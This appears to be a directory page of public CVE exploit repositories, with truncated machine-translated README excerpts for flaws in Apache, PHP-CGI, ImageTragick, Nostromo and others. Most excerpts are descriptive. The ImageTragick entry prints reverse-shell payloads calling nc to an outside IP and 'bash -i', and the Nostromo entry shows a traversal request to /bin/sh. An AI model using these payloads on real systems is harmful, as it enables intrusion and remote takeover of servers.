apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Apache HTTP Server 2.4.49에서 CVE-2021-42013 취약점Path Traversal & RCE을 시뮬레이션하는 Docker 기반 침투 테스트 연구실입니다. 이 프로젝트는 Apache HTTP Server 2.4.49에 존재하는 CVE-2021-42013 취약점을 격리된 환경에서 시뮬레이션하고 악용exploit하기 위해 준비되었습니다. 작업에서는 docker-exploit-lab이라는 특수 연구실 환경이 구축되었으며, 공격 시나리오는 동일 네트워크의...

CVE-2022-42889-PoC

CVE-2022-42889（別名 Text4Shell）RCE 概念実証 Text4Shell は、Apache Commons Text ライブラリで発見された重大なソフトウェア脆弱性の通称です（CVE-2022-42889 を参照）。 このリポジトリは、この CVE を利用したリモートコード実行 （RCE）を実演するためのものです。 脆弱なコードは SpringBoot コントローラで使用されていますが、誤解しないでください。これは SpringBoot/Spring Security の問題ではありません。 RCE をテストする前に、Docker イメージをビルドします： $...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2022-24990

CVE-2022-24990 설명 - CVE-2022-24990에 대한 POC: TerraMaster TOS의 PHP 객체 인스턴스화를 통한 인증되지 않은 원격 명령 실행. - antx가 2022-04-12에 생성함. 세부 정보 - 이 취약점은 원격 공격자가 대상 시스템에서 임의의 명령을 실행할 수 있도록 합니다. - 이 취약점은 api.php 스크립트의 webNasIPS 구성 요소에서 부적절한 입력 검증으로 인해 발생합니다. 원격의 인증되지 않은 공격자는 특수하게 조작된 데이터를 애플리케이션에 전달하여 대상 시스템에서...

CVE-2025-55182

CVE-2025-55182.yaml CVE-2025-55182 poc nuclei -target url -t CVE-2025-55182.yaml nuclei-template에서 수정됨 핵심 코드: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

CVE-2025-24016-Nuclei-Template

CVE-2025-24016 Wazuh 안전하지 않은 역직렬화 RCE 탐지 이 저장소는 CVE-2025-24016 으로 식별된 Wazuh 서버의 안전하지 않은 역직렬화 취약점을 탐지하는 Nuclei 템플릿을 포함합니다. 템플릿 세부 사항 id: wazuh-unsafe-deserialization info: name: "Wazuh Unsafe Deserialization RCE Detection" author: "Hüseyin TINTAŞ" severity: critical description: | This template...

Computer-Security-Equifax-2017

실제 소프트웨어 취약점을 보여주는 교육용 리포지토리: Apache Struts2 CVE-2017-5638 RCE, 데이터 유출, 취약한 암호화, 그리고 완화 전략정화, 모니터링, 암호화 모범 사례. 레드 팀 대 블루 팀의 OS 보안 결함 데모: 익스플로잇, 지속성백도어, 그리고 방어 기술모니터링, TLS 검증...

CVE-2017-12149

CVE-2017-12149 Jboss Java 역직렬화 RCE CVE-2017-12149 이 파이썬 스크립트는 ysoserial을 사용하여 동적으로 페이로드를 생성합니다. 따라서 Java도 필요합니다...

CVE-2024-4577-PHP-RCE

PHP RCE PoC CVE-2024-4577: PHP-CGI의 인자 주입 개요 이 저장소에는 PHP-CGI의 인자 주입 문제인 CVE-2024-4577 취약점을 확인하는 스크립트가 포함되어 있습니다. 제공된 Bash, Go, Python 스크립트를 사용하여 도메인 목록에서 이 취약점을 테스트할 수 있습니다. Nuclei YAML 파일도 함께 공개했습니다. 사용 방법 Bash 스크립트 Bash 스크립트를 사용하려면 다음 명령어를 실행하세요: ./CVE-2024-4577.sh /path/to/domains-list Go 스크립트...

spring-core-rce

spring-core-rce spring core rce 간단한 활용 war를 사용할 수 있습니다 https://github.com/fengguangbin/spring-rce-war docker 환경을 사용할 수 있습니다 https://github.com/lunasec-io/Spring4Shell-POC 또한 vulfocus의 온라인 환경을 사용할 수 있습니다 http://vulfocus.io/ 또는 vulhub의 실습 환경...

CVE-2019-16278

CVE-2019-16278 및 CVE-2019-16279 익스플로잇 Nostromo httpd는 버전 1.9.6 이하에서 2개의 치명적인 취약점에 취약합니다0day =. 첫 번째는 디렉터리 트래버설을 통한 RCE이며, 두 번째는 DoS입니다. CVE-2019-16278 - 디렉터리 트래버설을 통한 원격 코드 실행 POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0 Connection: close User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64;...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker 서버 측 템플릿 주입 Vmware CVE-2022-22954용 POC 이 한 줄 GET 요청을 사용하세요!! 이 요청은 cat /etc/passwd를 실행합니다...

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 원격 코드 실행 참조: https://k4m1ll0.com/cve-2021-41653.html...

EvilRip

Cve-2020-5029-finder 이 작은 스크립트는 bash로 작성되었으며, CVE-2020-5902에 취약한 서브도메인/IP를 찾아냅니다. 영향을 받는 버전 BIG-IP 버전 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1에서 Traffic Management User InterfaceTMUI, Configuration utility라고도 함에 공개되지 않은 페이지에서 원격 코드 실행RCE 취약점이 존재합니다. 사용법 ...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

CVE-2025-55182-PoC

CVE-2025-55182-PoC CVE-2025-55182에 대한 PoC Usage: python3 poc.py -u http://target.com --cmd "" 법적 고지 이 도구는 교육 목적 및 승인된 보안 테스트를 위해서만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 요구 사항 pip install requests 사용법 이 도구는 세 가지 모드로 실행할 수 있습니다:...

exploits-rconfig

익스플로잇 rconfig = 3.9.4용 익스플로잇 세 가지 : CVE-2019-19509 : authenticated RCE CVE-2019-19585 : Local Privilege Escalation root CVE-2020-10220 : unauthenticated SQLi rconfigrootRCEunauth.py : chaining the three CVEs above to get root reverse shell without authentication rconfigajaxarchivefilesrce.rb :...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free JScript.dll의 Use-After-Free 취약점을 통한 원격 코드 실행 CVE-2025-30397 🧠 설명 이 저장소는 Windows Server 2025빌드 25398 및 이전 버전에 영향을 주는 JScript 엔진jscript.dll의 Use-After-Free 취약점에 대한 개념 증명PoC 익스플로잇을 포함합니다. 이 취약점은 힙 스프레이 기법을 통한 메모리 손상을 악용하여 원격 코드 실행을 허용합니...

CVE-2019-19609

CVE-2019-19609 Strapi = 3.0.0-beta.17.8 認証されたリモートコード実行...

CVE-2024-4577-RCE-EXP

TG Join Us https://t.me/WanLiChangChengWanLiChang 저희와 함께 정기적으로 다양한 취약점 EXP POC를 받아보세요 CVE-2024-4577-RCE-EXP CVE-2024-4577 PHP CGI Windows 플랫폼 원격 코드 실행 취약점 CVE-2024-4577 PHP CGI Windows 플랫폼 원격 코드 실행 취약점 RCE EXP 대량 이용 프로그램 FOFA app="XAMPP" 주의 사항 이 RCE는 간체 중국어, 번체 중국어 및 일본어 Windows 운영 체제에서만 유효합니다 사용...